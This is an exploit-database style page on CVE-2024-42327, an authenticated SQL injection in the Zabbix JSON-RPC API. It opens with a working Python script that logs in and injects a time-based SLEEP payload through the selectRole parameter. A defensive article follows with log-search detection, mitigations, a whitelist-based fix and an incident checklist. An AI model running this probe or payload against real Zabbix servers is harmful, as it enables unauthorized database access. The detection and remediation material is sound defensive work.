Zabbix 7.0.0 - SQL Injection

Exploit Author: m4nb4 Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-16
# Exploit Title: Zabbix 7.0.0 - SQL Injection 
# Date: 06/12/2024
# Exploit Author: Leandro Dias Barata @m4nb4
# Vendor Homepage: https://www.zabbix.com/
# Software Link: https://support.zabbix.com/browse/ZBX-25623
# Version: 6.0.0 - 6.0.31 / 6.0.32rc1 6.4.0 - 6.4.16 / 6.4.17rc1 7.0.0
# Tested on: Kali Linux   kali-linux-2024.3
# CVE: CVE-2024-42327

import requests
import argparse

HEADERS = {"Content-Type": "application/json"}

def main():
    parser = argparse.ArgumentParser(description="CHECK for CVE-2024-42327")
    parser.add_argument("-t", "--target", required=True, help="API URL")
    parser.add_argument("-u", "--username", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")

    args = parser.parse_args()

    url = f"{args.target.rstrip('/')}/api_jsonrpc.php"

    # Login to get the token
    login_data = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {"username": args.username, "password": args.password},
        "id": 1,
        "auth": None
    }

    try:
        login_response = requests.post(url, json=login_data, headers=HEADERS)
        login_response.raise_for_status()
        auth_token = login_response.json().get("result")

        # Simple SQLi test
        data = {
            "jsonrpc": "2.0",
            "method": "user.get",
            "params": {
                "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
                "userids": ["1", "2"]
            },
            "id": 1,
            "auth": auth_token
        }

        test_response = requests.post(url, json=data, headers=HEADERS)
        test_response.raise_for_status()

        if "error" in test_response.text:
            print("[-] NOT VULNERABLE.")
        else:
            print("[!] VULNERABLE.")

    except requests.RequestException as e:
        print(f"[!] Request error: {e}")

if __name__ == "__main__":
    main()


Zabbix 7.0.0 — SQL Injection (CVE-2024-42327)

This article explains the SQL injection vulnerability disclosed as CVE-2024-42327 affecting multiple Zabbix API versions, the technical root cause at a high level, detection and mitigation guidance, secure-coding recommendations for JSON‑RPC endpoints, and an incident response checklist. The goal is defensive: help operators find, mitigate, and remediate exposure without reproducing exploitation code.

Summary

  • Affected versions (reported): Zabbix 6.0.0 → 6.0.31, 6.4.0 → 6.4.16, and 7.0.0 (see vendor advisory).
  • CVE: CVE-2024-42327.
  • Vulnerability class: SQL Injection in the API layer (authenticated API call required in known reports).
  • Primary impact: data exposure, data integrity loss, potential privilege escalation within the database/application context.
  • Recommended action: apply vendor-provided patches or upgrade to the patched release as provided in the Zabbix advisory.

High-level technical overview

The vulnerability arises in Zabbix's JSON‑RPC API handling when user-provided parameters (for example, selection/lists used to construct SQL SELECT expressions) are concatenated into database queries without sufficient validation or escaping. In reported cases the API accepted crafted inputs in selection parameters that could alter the SQL query structure (time-based blind injection patterns were observed in public reports).

Key characteristics:

  • Exploitation requires valid API credentials in reported cases (authenticated API access), reducing but not eliminating the attack surface.
  • Injection occurs in dynamically built parts of SQL (SELECT list), which can be abused for data exfiltration and to cause unexpected DB behavior.
  • Attacker impact depends on database privileges available to the web/application account — often significant for data confidentiality and integrity.

Why this matters

  • Zabbix is commonly used for monitoring critical infrastructure; a successful SQL injection can expose sensitive host inventories, credentials stored in monitoring metadata, or allow attackers to manipulate monitoring logic.
  • Even authenticated SQLi can be used by a low-privileged operator account to escalate access or move laterally if the application account has wide DB privileges.

Detection: what to look for

Focus on API traffic, web server access logs, application logs, and database query logs. Defensive detections should flag unusual characters or SQL keywords in JSON-RPC parameters and long or anomalous query durations that may indicate time-based probes.

  • Search HTTP access logs for suspicious JSON-RPC payloads referencing selection parameters like "selectRole" or other "select*" fields with non-whitelisted tokens.
  • Alert on requests containing SQL-control keywords in API JSON bodies (e.g., SELECT, SLEEP, UNION, /**/). This should be tuned to avoid false positives from legitimate text but can be a useful defense-in-depth filter.
  • Monitor DB slow-query logs for unusual sleep/time-based queries mapped to API user accounts.
  • Look for unusual authentication+API activity: successful login followed by unusual queries or repeated requests from the same client IP querying different user IDs.
# Example defensive log search (simple): 
# look for requests that include "selectRole" and suspicious SQL tokens
grep -i "selectRole" /var/log/apache2/access.log | grep -Ei "select\(|sleep\(|union|--"

Explanation: This command searches Apache access logs for lines referencing "selectRole" and then filters for common SQL tokens used in injection attempts. It is a defensive log-hunting example; tune it for your environment to reduce false positives.

Temporary mitigations (until you patch)

  • Apply the vendor patch/upgrade as the primary action. See the Zabbix advisory (ZBX-25623) and CVE entry for vendor-provided fixes and instructions.
  • Restrict access to the Zabbix web UI and API: allowlist management IPs, force access via VPN, and block public access to api_jsonrpc.php.
  • Enable strong authentication controls: rotate passwords, enforce MFA for administrative accounts, and reduce use of highly privileged API accounts.
  • Deploy a Web Application Firewall (WAF) with rules to block SQL keywords appearing in JSON body fields for API endpoints. Use conservative blocking rules and monitor for false positives.
  • Limit the database account privileges used by the web application (principle of least privilege) if feasible, to reduce the impact of SQLi.

Safe verification and version checks

To confirm whether a given Zabbix instance is running a vulnerable version, use administrative channels rather than active exploitation. Examples:

# Example: check Zabbix package version on a Debian/Ubuntu host (local)
apt-cache policy zabbix-server-mysql
# or for RPM-based systems (local)
rpm -q zabbix-server-mysql

Explanation: These commands check installed package versions on a host where you have administrative access. They do not attempt to exploit or probe the remote API. If you only have network access, obtain the server version via vendor-supported APIs or ask the owner to confirm installed versions and patches.

Secure-coding guidance (how this should be fixed)

Fixes should enforce strict input validation and avoid embedding raw user data into SQL expressions. Several defensive practices:

  • Whitelist values: for selection lists, only accept known field names or tokens and map them server-side to safe SQL fragments.
  • Use prepared statements and parameter binding for values; note that column names and SQL fragments cannot be parameterized — validate them strictly against a whitelist.
  • Normalize and canonicalize input before validation.
<?php
// Example: safe handling pattern (PHP/PDO pseudo-code)
// 1) Define allowed selection tokens and map to concrete DB columns
$allowedSelects = [
  'roleid' => 'roles.roleid',
  'name'   => 'roles.name',
  'type'   => 'roles.type'
];

// 2) Received request (decoded JSON)
$requested = ['roleid','name']; // example decoded input

// 3) Build a safe SELECT clause by validating against whitelist
$selectCols = [];
foreach ($requested as $token) {
    if (isset($allowedSelects[$token])) {
        $selectCols[] = $allowedSelects[$token];
    } else {
        // reject or ignore unexpected tokens
    }
}
$selectSql = implode(',', $selectCols);

// 4) Use prepared statements for any values (WHERE, user IDs)
$sql = "SELECT $selectSql FROM roles WHERE roleid IN (:r1, :r2)";
$stmt = $pdo->prepare($sql);
$stmt->execute([':r1' => $id1, ':r2' => $id2]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

Explanation: This snippet demonstrates safe handling of selection parameters by using a server-side whitelist to map acceptable tokens to concrete column references. Note that column names are validated rather than parameterized. All user-controlled values used in WHERE clauses are passed as bound parameters to prepared statements to prevent injection.

Incident response checklist

  • Identify and isolate: restrict API/web access pending remediation (network ACLs, WAF rules).
  • Patch: apply vendor patches or upgrade to a fixed release immediately.
  • Credential rotation: rotate credentials used for Zabbix accounts and database credentials if compromise is suspected.
  • Forensic collection: preserve web server logs, application logs, and DB logs for the relevant time window; capture disk snapshots if required.
  • Search for indicators: look for anomalous API calls, suspicious selection parameters, long-running DB queries, or new accounts.
  • Restore and validate: if compromise is confirmed, rebuild application servers from trusted sources, restore from known-good backups, and validate integrity.
  • Post-incident: perform a root cause analysis, update detection rules, and apply least-privilege hardening.

References and further reading

ResourceNotes
Zabbix Support / Advisory (ZBX-25623) Vendor advisory and fixed release information — follow for official patches and instructions.
CVE-2024-42327 Public identifier for tracking and vendor/third-party advisories.

Final note: do not attempt active exploitation of vulnerable systems unless you have explicit authorization to perform security testing. The guidance above is defensive and intended to help administrators detect, mitigate, and remediate this vulnerability safely.